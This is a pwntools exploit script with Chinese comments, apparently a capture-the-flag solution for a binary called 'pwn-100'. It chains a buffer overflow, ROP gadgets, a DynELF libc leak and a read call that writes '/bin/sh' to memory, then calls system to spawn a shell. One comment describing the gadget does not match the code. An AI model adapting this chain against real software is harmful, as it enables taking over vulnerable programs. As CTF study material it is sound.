from pwn import *   # 导入pwntools库，用于二进制漏洞利用
# 启动本地的pwn-100程序
p = process("./pwn-100")
# 加载ELF文件，用于获取程序的符号信息
elf = ELF("./pwn-100")
# 程序的起始地址（或可以是main函数地址）
start_addr = 0x400550
# pop rdi; ret 地址，用于控制RDI寄存器
pop_rdi_addr = 0x400763
# puts函数的地址，用于泄漏内存中的数据
puts_addr = 0x400500
# 定义一个leak函数，用于泄露指定地址的数据
def leak(addr):
    # addr 为需要泄露的地址
    payload = cyclic(0x40 + 0x8)  # 填充到返回地址
    # 构造payload，调用puts函数输出addr的内容，并返回到start_addr
    payload += p64(pop_rdi_addr) + p64(addr) + p64(puts_addr)
    payload += p64(start_addr)
    payload = payload.ljust(200, b"A")  # 填充到200字节，避免read读取到多余数据
    p.send(payload)   # 发送payload
    p.recvuntil(b"bye~\n")   # 接收直到"bye~\n"
    data = p.recv()   # 获取输出的泄漏数据
    data = data[:-1]  # 去掉末尾的换行符
    if not data:      # 如果没有数据，填充为0x00
        data = b"\x00"
    data = data[:8]   # 获取前8字节
    # print("puts addr: ", data)  # 输出泄漏的puts地址
    return data   # 返回泄漏的数据
# 使用DynELF通过leak函数查找libc中的system函数地址
d = DynELF(leak, elf=elf)
system_addr = d.lookup("system", "libc")
# 程序中保存stdin和stdout的地址
str_addr = 0x601000
# pop rbx, rbp, r12-r15; ret 地址，用于控制多个寄存器
pop6_addr = 0x40075a
# mov [r12], r13; call r14地址，用于将r13中的数据写入r12指向的地址
movcall_addr = 0x400740
# 获取read函数在GOT表中的地址
read_got = elf.got["read"]
# 构造payload，用于写入/bin/sh字符串到str_addr
payload = cyclic(0x40 + 0x8)   # 填充至返回地址
# 设置寄存器并调用movcall_addr，将"/bin/sh\x00"写入str_addr
payload += p64(pop6_addr) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(str_addr) + p64(0) + p64(movcall_addr)
payload += cyclic(56)   # 填充无效数据
payload += p64(start_addr)   # 返回到start_addr
payload = payload.ljust(200, b"B")   # 填充至200字节
p.send(payload)   # 发送payload
p.recvuntil(b"bye~\n")   # 接收数据直到"bye~\n"
p.send(b"/bin/sh\x00")   # 发送"/bin/sh"字符串
# 最终payload，调用system函数以执行/bin/sh
payload = b'a'*72   # 填充到返回地址
ret_addr = 0x4004e1   # ret地址，用于调整栈平衡
payload += p64(pop_rdi_addr) + p64(str_addr) + p64(ret_addr) + p64(system_addr)   # 构造system("/bin/sh")调用
payload = payload.ljust(200, b"B")   # 填充到200字节
p.send(payload)   # 发送payload
p.interactive()   # 打开交互模式，以便与/bin/sh交互
